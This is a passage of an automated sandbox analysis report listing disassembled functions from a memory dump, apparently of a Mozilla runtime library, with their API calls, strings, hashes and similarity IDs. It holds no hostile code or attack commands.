Instruction Fuzzy Hash: 02E04F70106342AFE7101FA4D908702FBECEF05261F00882AEB85CB340EBF5D4048B50

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE01C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7266), ref: 6BCE01C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6BCE01E7
FreeLibrary.KERNEL32(?,6BCB7266), ref: 6BCE01FE

Strings

CryptCATAdminReleaseContext, xrefs: 6BCE01E1
wintrust.dll, xrefs: 6BCE01C3

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: ed0a0a9a9f2ed4d7116e9f7c71e4ee7268f172e3328e31361f8133ac969c7af9
Instruction ID: 049035aa5c298ca0d7a995cc836c0a6e648a118482af7c6e1054c231a6434817
Opcode Fuzzy Hash: ed0a0a9a9f2ed4d7116e9f7c71e4ee7268f172e3328e31361f8133ac969c7af9
Instruction Fuzzy Hash: 74E075B44843C59AFB049B66D809712FBE8BB07795F004927EB14CD280EBB9C0059F60

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE0170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7308), ref: 6BCE0178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6BCE0197
FreeLibrary.KERNEL32(?,6BCB7308), ref: 6BCE01AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6BCE0191
wintrust.dll, xrefs: 6BCE0173

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: e81a6b5540dd2b2ac07b9b9c7712022c7856e6e48258afb5f95e8aa934d7c1f6
Instruction ID: bd9ee8f5d2b3bd0f92c07f509dec480fd3c5c706b7e6a0734368a0e1372e9b54
Opcode Fuzzy Hash: e81a6b5540dd2b2ac07b9b9c7712022c7856e6e48258afb5f95e8aa934d7c1f6
Instruction Fuzzy Hash: 93E01AB04812819BFF085F65CA0AB01FBFAB702241F000467EB848D280EBB8C0808B70

Uniqueness

Uniqueness Score: -1.00%

Function 6BCE0120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB7297), ref: 6BCE0128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6BCE0147
FreeLibrary.KERNEL32(?,6BCB7297), ref: 6BCE015E

Strings

wintrust.dll, xrefs: 6BCE0123
CryptCATAdminEnumCatalogFromHash, xrefs: 6BCE0141

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 02305e9a3cd9eeb22a19d43b7fc2bd2a71826a7f9062c238700a4270f52dba4a
Instruction ID: 5eeb25d84ea26190b358094d5b8eb6a772108db2182676cae1d82323a43490ed
Opcode Fuzzy Hash: 02305e9a3cd9eeb22a19d43b7fc2bd2a71826a7f9062c238700a4270f52dba4a
Instruction Fuzzy Hash: 40E07EB54452859BFB046B6AD809716FBE8B707795F004467AB18CE280EBB8C1058FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB77C5), ref: 6BD0C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6BD0C2B7
FreeLibrary.KERNEL32(?,6BCB77C5), ref: 6BD0C2CC

Strings

CryptCATAdminCalcHashFromFileHandle, xrefs: 6BD0C2B1
wintrust.dll, xrefs: 6BD0C293

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 63ae529bd133fe0a4141775317dd9a590097ba520cc65a113e1c628fd9c8f50a
Instruction ID: 6142940b930d7335a1a838aad4c42640b6a8819708043c980365d5c355a8cf3f
Opcode Fuzzy Hash: 63ae529bd133fe0a4141775317dd9a590097ba520cc65a113e1c628fd9c8f50a
Instruction Fuzzy Hash: 57E092B54412819FFF046F69C908702FBE8EB0A614F4804A7EF048D650EBB9C004CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6BCB05BC), ref: 6BD0BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6BD0BAD7
FreeLibrary.KERNEL32(?,6BCB05BC), ref: 6BD0BAEC

Strings

kernelbase.dll, xrefs: 6BD0BAB3
VirtualAlloc2, xrefs: 6BD0BAD1

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: da24324a46de1a0ae22e74b5f940ccfaaa7c95717816bff09c35c663430f650a
Instruction ID: f6e4df8d0e02782d3fc0d8ed4b4a6299f2a5cd14686703a8620077da85ef0ccb
Opcode Fuzzy Hash: da24324a46de1a0ae22e74b5f940ccfaaa7c95717816bff09c35c663430f650a
Instruction Fuzzy Hash: C9E0B6B04053C69BFF049F62CA18B06FFE8E706224F15046BAB049D280EBF9C0489B24

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BCB77F6), ref: 6BD0C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6BD0C267
FreeLibrary.KERNEL32(?,6BCB77F6), ref: 6BD0C27C

Strings

wintrust.dll, xrefs: 6BD0C243
CryptCATAdminAcquireContext, xrefs: 6BD0C261

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 78153250e7c71a03d261a53d0926ae615a0524be29afa28ee23935af2ef83ec6
Instruction ID: cb2613770c64e9bcf21f1daa815f0f88b2769a53c181739d619b65c49c7e7cbb
Opcode Fuzzy Hash: 78153250e7c71a03d261a53d0926ae615a0524be29afa28ee23935af2ef83ec6
Instruction Fuzzy Hash: E8E092B44052899BFF086F668808B06FAE8E70B314F104867EB04CE240EBB8C044AF60

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BD0C1DE,?,00000000,?,00000000,?,6BCB779F), ref: 6BD0C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6BD0C217
FreeLibrary.KERNEL32(?,6BD0C1DE,?,00000000,?,00000000,?,6BCB779F), ref: 6BD0C22C

Strings

WinVerifyTrust, xrefs: 6BD0C211
wintrust.dll, xrefs: 6BD0C1F3

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: a422245320100374d7990071763896cc4835465fb317ae2e72575acd34a57f86
Instruction ID: 157e007527e3a07b759cc42b6e9451742196941377290fbf4d0a6efe35f2cfa4
Opcode Fuzzy Hash: a422245320100374d7990071763896cc4835465fb317ae2e72575acd34a57f86
Instruction Fuzzy Hash: 1DE0B6B44043C19BFF08AF75CA08702FEE8BB06614F040A27EB04DD645EBBAC0048B60

Uniqueness

Uniqueness Score: -1.00%

Function 6BCED210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6BCB5820,?), ref: 6BCED21F
moz_xmalloc.MOZGLUE(00000001,?,?,6BCB5820,?), ref: 6BCED22E

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6BCB5820,?), ref: 6BCED242
free.MOZGLUE(00000000,?,?,?,?,?,?,6BCB5820,?), ref: 6BCED253

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6BCB5820,?), ref: 6BCED280

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 8e7b1c0ac59deb7e6c1d119860707c3dfa79c505de52603c6fed5cc152aae8ec
Instruction ID: 3cd1342139f55de5bda7993d66ce6c5dbb80c00ef8fd90ba453ebe5f80f442e5
Opcode Fuzzy Hash: 8e7b1c0ac59deb7e6c1d119860707c3dfa79c505de52603c6fed5cc152aae8ec
Instruction Fuzzy Hash: DB31E4B5951215DBCB00CF68C481A6EBB75BF89304F240169D9146B301E37AEE03C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCBC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BCBC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCBC1DC

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: fa5efa5107e93bf7249bf454748c615dd2b2c780ec625100a6dbf25420f3f12d
Instruction ID: b130f47a6c7aac96451722fe506acf9252b13704919cd74be9ea2e93e70492c7
Opcode Fuzzy Hash: fa5efa5107e93bf7249bf454748c615dd2b2c780ec625100a6dbf25420f3f12d
Instruction Fuzzy Hash: 9841A1B1D287409FD710CF68D58178BBBE4BF96704F41856EE9885B212F7389644CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA4310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6BCA42D2), ref: 6BCA436A

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6BCA42D2), ref: 6BCA4387
moz_xmalloc.MOZGLUE(80000023,?,6BCA42D2), ref: 6BCA43B7
free.MOZGLUE(00000000,?,6BCA42D2), ref: 6BCA43EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6BCA42D2), ref: 6BCA4406

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: f11ec4ba509da34e79bc710462e3083271ee2c1b443443604010f532613dcc4c
Instruction ID: b9af2c9c635646f2e638c9f9fdfb9face4803e92005a3844f20c2b64a478f778
Opcode Fuzzy Hash: f11ec4ba509da34e79bc710462e3083271ee2c1b443443604010f532613dcc4c
Instruction Fuzzy Hash: 79313972A111168FD714EEB99C8156FB7A6EF40320B100A39E915DB3C0FF34EA0083A2

Uniqueness

Uniqueness Score: -1.00%

Function 6BD00B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BBC

Part of subcall function 6BCC5C50: GetTickCount64.KERNEL32 ref: 6BCC5D40
Part of subcall function 6BCC5C50: EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BD5

Part of subcall function 6BCC5C50: __aulldiv.LIBCMT ref: 6BCC5DB4
Part of subcall function 6BCC5C50: LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD00BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BD00C9A

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: 6cdc1d30ad7c018f761f40e8a5d9563e4fd132e702f1160178e534519ee97d32
Instruction ID: 6dcd884097b4601777415f4a4a86f94d16ec73f7c5b22c6fd84d90ad38f6762e
Opcode Fuzzy Hash: 6cdc1d30ad7c018f761f40e8a5d9563e4fd132e702f1160178e534519ee97d32
Instruction Fuzzy Hash: 1231F571A147149BC714DF38888111BB7E8AF867B0F504B1EF8AAA72D0EF74D9458B92

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB6390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCB63D0
AcquireSRWLockExclusive.KERNEL32 ref: 6BCB63DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCB640E
__Init_thread_footer.LIBCMT ref: 6BCB6467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BCB64A8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: e56bcaf968369dd6b83e05e09d8f7d2aa12ef73d9da2899031ea617a6c101f06
Instruction ID: 8b2306575874ff9e5ef500929e1ef9bea2ec60fea3122cb2ee88cb9646ff691e
Opcode Fuzzy Hash: e56bcaf968369dd6b83e05e09d8f7d2aa12ef73d9da2899031ea617a6c101f06
Instruction Fuzzy Hash: 07317CB54146828FEB00DF68D08565AFBF0FB86718F10492EDA958B340E778A546CF63

Uniqueness

Uniqueness Score: -1.00%

Function 6BD09B50 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BD09B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BD09BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6BD09BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6BD09BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6BD09BE0

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID:
API String ID: 2380687156-0
Opcode ID: 09d4950b5c7f7dfcb1fc067745b507499b4ce05c2fd66dc90dc13c03fcfd7dd1
Instruction ID: f4f849767cc9212f51124d4cdeca22974959201abdd94b393d4dcb9a2771bb86
Opcode Fuzzy Hash: 09d4950b5c7f7dfcb1fc067745b507499b4ce05c2fd66dc90dc13c03fcfd7dd1
Instruction Fuzzy Hash: AE117072918748A787009F78CC8189FB7A8FFC6374F004A1DF9954A142EF39D648C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010,00000000,?,?,6BD0AB1F), ref: 6BD0B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010,00000000,?), ref: 6BD0B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6BD0B0A6,6BD0B0A6,?,6BD0AF67,?,00000010,?,6BD0AF67,?,00000010), ref: 6BD0B25F

Strings

map/set<T> too long, xrefs: 6BD0B1FA

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: f6cf33cc3f1c37130d09c97bce2fd9c32ec0df23eb62e8a90ef0137a06b98319
Instruction ID: 352a82a8c6fa6c54dde9b4d0da0d309a25270525db3a6c9656130687443291a1
Opcode Fuzzy Hash: f6cf33cc3f1c37130d09c97bce2fd9c32ec0df23eb62e8a90ef0137a06b98319
Instruction Fuzzy Hash: 4F616C74A08245DFD701CF29C480A9ABBE1FF49324F18C4A9D8595F392D739EC41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6BCAF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6BD1D020), ref: 6BCAF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BCAF132

Strings

shell32, xrefs: 6BCAF11D
SHGetKnownFolderPath, xrefs: 6BCAF12C

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 4d677f8d4d887032b920815e7f2436f7868b71f937ec0cec5bbde00a9e0d0b54
Instruction ID: 9b1ca9acba0eb94f55a0fa1d5b65e49205e865b2011e340bc271ef896c8a23ae
Opcode Fuzzy Hash: 4d677f8d4d887032b920815e7f2436f7868b71f937ec0cec5bbde00a9e0d0b54
Instruction Fuzzy Hash: 4C01B171A012169FDB108F75DC58A9BBFB8FF4A754B000029EA49DB200E734EA04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BCDCBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BCDD001
<jemalloc>, xrefs: 6BCDCFFC

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
